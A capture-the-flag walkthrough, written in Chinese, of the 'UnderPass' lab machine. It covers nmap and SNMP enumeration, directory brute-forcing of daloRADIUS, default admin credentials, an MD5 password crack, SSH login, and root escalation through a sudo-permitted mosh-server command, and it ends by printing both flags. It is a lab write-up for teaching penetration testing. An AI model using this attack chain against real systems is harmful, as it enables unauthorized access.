UnderPass
信息
Difficulty: Easy
Operating System: Linux
ENTRY POINT
10.10.11.48
信息搜集
┌──(randark ㉿ kali)-[~]
└─$ sudo ./tools/fscan-1.8.4/fscan -h 10.10.11.48
start infoscan
10.10.11.48:22 open
10.10.11.48:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.48 code:200 len:10671 title:Apache2 Ubuntu Default Page: It works
┌──(randark ㉿ kali)-[~]
└─$ sudo nmap -v --min-rate=5000 -A -p- 10.10.11.48
Nmap scan report for bogon (10.10.11.48)
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 41.015 days (since Sat Feb 22 21:51:42 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(randark ㉿ kali)-[~]
└─$ sudo nmap -v -A -sU --top-ports=50 10.10.11.48
Nmap scan report for bogon (10.10.11.48)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
7/udp closed echo
53/udp closed domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
80/udp closed http
111/udp closed rpcbind
123/udp closed ntp
135/udp closed msrpc
136/udp closed profile
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: c7ad5c4856d1cf6600000000
| snmpEngineBoots: 31
|_ snmpEngineTime: 6m35s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_ System uptime: 6m35.53s (39553 timeticks)
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
518/udp closed ntalk
520/udp closed route
593/udp closed http-rpc-epmap
626/udp closed serialnumberd
631/udp closed ipp
996/udp closed vsinet
997/udp closed maitrd
998/udp closed puparp
999/udp closed applix
1025/udp closed blackjack
1026/udp closed win-rpc
1027/udp closed unknown
1433/udp closed ms-sql-s
1434/udp closed ms-sql-m
1645/udp closed radius
1646/udp closed radacct
1701/udp closed L2TP
1812/udp open|filtered radius
1900/udp closed upnp
2048/udp closed dls-monitor
2049/udp closed nfs
2222/udp closed msantipiracy
3283/udp closed netassistant
3456/udp closed IISrpc-or-vat
4500/udp closed nat-t-ike
5060/udp closed sip
5353/udp closed zeroconf
20031/udp closed bakbonenetvault
32768/udp closed omad
49152/udp closed unknown
49153/udp closed unknown
49154/udp closed unknown
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!
通过扫描发现，端口 80 只是开放了一个 Ubuntu 的默认 Apache2 服务，没有可利用性
通过 UDP 扫描，发现可能存在有 SNMP 服务的端口，以及一个主机名
尝试添加 hosts 记录，通过 vhost 访问 http 服务，没有新发现
枚举 SNMP
尝试进行探测 SNMP 服务
┌──(randark ㉿ kali)-[~]
└─$ sudo nmap --script "snmp* and not snmp-brute" -sU -p 161 10.10.11.48
Starting Nmap 7.95 (https://nmap.org) at 2025-04-04 22:22 CST
Nmap scan report for UnDerPass.htb (10.10.11.48)
Host is up (0.076s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: c7ad5c4856d1cf6600000000
| snmpEngineBoots: 31
|_ snmpEngineTime: 13m27s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_ System uptime: 13m27.58s (80758 timeticks)
尝试使用 snmpwalk 进行枚举
┌──(randark ㉿ kali)-[~]
└─$ snmpwalk -v 1 -c public 10.10.11.48
......
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (96253) 0:16:02.53
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
......
尝试检测 daloradius
┌──(randark ㉿ kali)-[~]
└─$ http get http://10.10.11.48/daloradius
HTTP/1.1 301 Moved Permanently
Connection: Keep-Alive
Content-Length: 315
Content-Type: text/html; charset=iso-8859-1
Date: Fri, 04 Apr 2025 14:11:34 GMT
Keep-Alive: timeout=5, max=100
Location: http://10.10.11.48/daloradius/
Server: Apache/2.4.52 (Ubuntu)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.11.48/daloradius/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.10.11.48 Port 80</address>
</body></html>
枚举 daloradius
尝试进行目录爆破
┌──(randark ㉿ kali)-[~]
└─$ dirsearch -u http://10.10.11.48/daloradius/
Target: http://10.10.11.48/
[22:31:02] Starting: daloradius/
[22:31:09] 200 - 221B - /daloradius/.gitignore
[22:31:37] 301 - 319B - /daloradius/app -> http://10.10.11.48/daloradius/app/
[22:31:43] 200 - 24KB - /daloradius/ChangeLog
[22:31:51] 200 - 2KB - /daloradius/docker-compose.yml
[22:31:51] 301 - 319B - /daloradius/doc -> http://10.10.11.48/daloradius/doc/
[22:31:51] 200 - 2KB - /daloradius/Dockerfile
[22:32:04] 301 - 323B - /daloradius/library -> http://10.10.11.48/daloradius/library/
[22:32:04] 200 - 18KB - /daloradius/LICENSE
[22:32:22] 200 - 10KB - /daloradius/README.md
[22:32:26] 301 - 321B - /daloradius/setup -> http://10.10.11.48/daloradius/setup/
在 docker-compose.yml 中可以发现
version: "3"
services:
radius-mysql:
image: mariadb:10
container_name: radius-mysql
restart: unless-stopped
environment:
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
- MYSQL_ROOT_PASSWORD=radiusrootdbpw
volumes:
- "./data/mysql:/var/lib/mysql"
radius:
container_name: radius
build:
context: .
dockerfile: Dockerfile-freeradius
restart: unless-stopped
depends_on:
- radius-mysql
ports:
- '1812:1812/udp'
- '1813:1813/udp'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional settings
- DEFAULT_CLIENT_SECRET=testing123
volumes:
- ./data/freeradius:/data
# If you want to disable debug output, remove the command parameter
command: -X
radius-web:
build: .
container_name: radius-web
restart: unless-stopped
depends_on:
- radius
- radius-mysql
ports:
- '80:80'
- '8000:8000'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional Settings:
- DEFAULT_CLIENT_SECRET=testing123
- DEFAULT_FREERADIUS_SERVER=radius
- MAIL_SMTPADDR=127.0.0.1
- MAIL_PORT=25
- MAIL_FROM=root@daloradius.xdsl.by
- MAIL_AUTH=
volumes:
- ./data/daloradius:/data
得到 mysql 的用户凭据 radius:radiusdbpw
进行更深的目录爆破
┌──(randark ㉿ kali)-[~]
└─$ feroxbuster -u http://10.10.11.48/daloradius/ -x html,php,txt,php.bak -d 3
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 319c http://10.10.11.48/daloradius/app => http://10.10.11.48/daloradius/app/
301 GET 9l 28w 319c http://10.10.11.48/daloradius/doc => http://10.10.11.48/daloradius/doc/
301 GET 9l 28w 326c http://10.10.11.48/daloradius/app/common => http://10.10.11.48/daloradius/app/common/
301 GET 9l 28w 323c http://10.10.11.48/daloradius/contrib => http://10.10.11.48/daloradius/contrib/
301 GET 9l 28w 335c http://10.10.11.48/daloradius/app/common/includes => http://10.10.11.48/daloradius/app/common/includes/
301 GET 9l 28w 336c http://10.10.11.48/daloradius/app/common/templates => http://10.10.11.48/daloradius/app/common/templates/
301 GET 9l 28w 323c http://10.10.11.48/daloradius/library => http://10.10.11.48/daloradius/library/
301 GET 9l 28w 325c http://10.10.11.48/daloradius/app/users => http://10.10.11.48/daloradius/app/users/
301 GET 9l 28w 333c http://10.10.11.48/daloradius/app/common/static => http://10.10.11.48/daloradius/app/common/static/
301 GET 9l 28w 321c http://10.10.11.48/daloradius/setup => http://10.10.11.48/daloradius/setup/
301 GET 9l 28w 334c http://10.10.11.48/daloradius/app/common/library => http://10.10.11.48/daloradius/app/common/library/
301 GET 9l 28w 327c http://10.10.11.48/daloradius/doc/install => http://10.10.11.48/daloradius/doc/install/
301 GET 9l 28w 326c http://10.10.11.48/daloradius/contrib/db => http://10.10.11.48/daloradius/contrib/db/
301 GET 9l 28w 330c http://10.10.11.48/daloradius/app/users/lang => http://10.10.11.48/daloradius/app/users/lang/
301 GET 9l 28w 333c http://10.10.11.48/daloradius/app/users/library => http://10.10.11.48/daloradius/app/users/library/
301 GET 9l 28w 331c http://10.10.11.48/daloradius/contrib/scripts => http://10.10.11.48/daloradius/contrib/scripts/
302 GET 0l 0w 0c http://10.10.11.48/daloradius/app/users/index.php => home-main.php
301 GET 9l 28w 339c http://10.10.11.48/daloradius/app/users/notifications => http://10.10.11.48/daloradius/app/users/notifications/
200 GET 247l 1010w 7814c http://10.10.11.48/daloradius/doc/install/INSTALL
301 GET 9l 28w 329c http://10.10.11.48/daloradius/app/operators => http://10.10.11.48/daloradius/app/operators/
301 GET 9l 28w 334c http://10.10.11.48/daloradius/app/operators/lang => http://10.10.11.48/daloradius/app/operators/lang/
302 GET 0l 0w 0c http://10.10.11.48/daloradius/app/operators/index.php => home-main.php
301 GET 9l 28w 336c http://10.10.11.48/daloradius/app/operators/static => http://10.10.11.48/daloradius/app/operators/static/
404 GET 0l 0w 273c http://10.10.11.48/daloradius/library/chita
301 GET 9l 28w 333c http://10.10.11.48/daloradius/contrib/heartbeat => http://10.10.11.48/daloradius/contrib/heartbeat/
尝试访问 http://10.10.11.48/daloradius/app/operators/login.php
尝试使用默认凭据 administrator:radius 登录
成功进入管理后台
查看用户列表
得到一份凭据哈希
svcMosh:412DD4759978ACFCC81DEAB01B382403
查表得到
| Hash | Type | Result |
|---|---|---|
| 412DD4759978ACFCC81DEAB01B382403 | md5 | underwaterfriends |
SSH svcMosh
使用 svcMosh:underwaterfriends 登陆主机
┌──(randark ㉿ kali)-[~]
└─$ ssh svcMosh@10.10.11.48
svcMosh@10.10.11.48's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
......
svcMosh@underpass:~$ whoami
svcMosh
FLAG - USER
/home/svcMosh/user.txt
41941309cd65de627360b7c401fdea68
尝试提权至 root
尝试枚举 sudo 列表
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
尝试通过 mosh 得到 root 的 terminal
svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
执行之后，即可连接到 root 的 terminal
FLAG - ROOT
/root/root.txt
05449db7f2c8769bf73940f27cecf969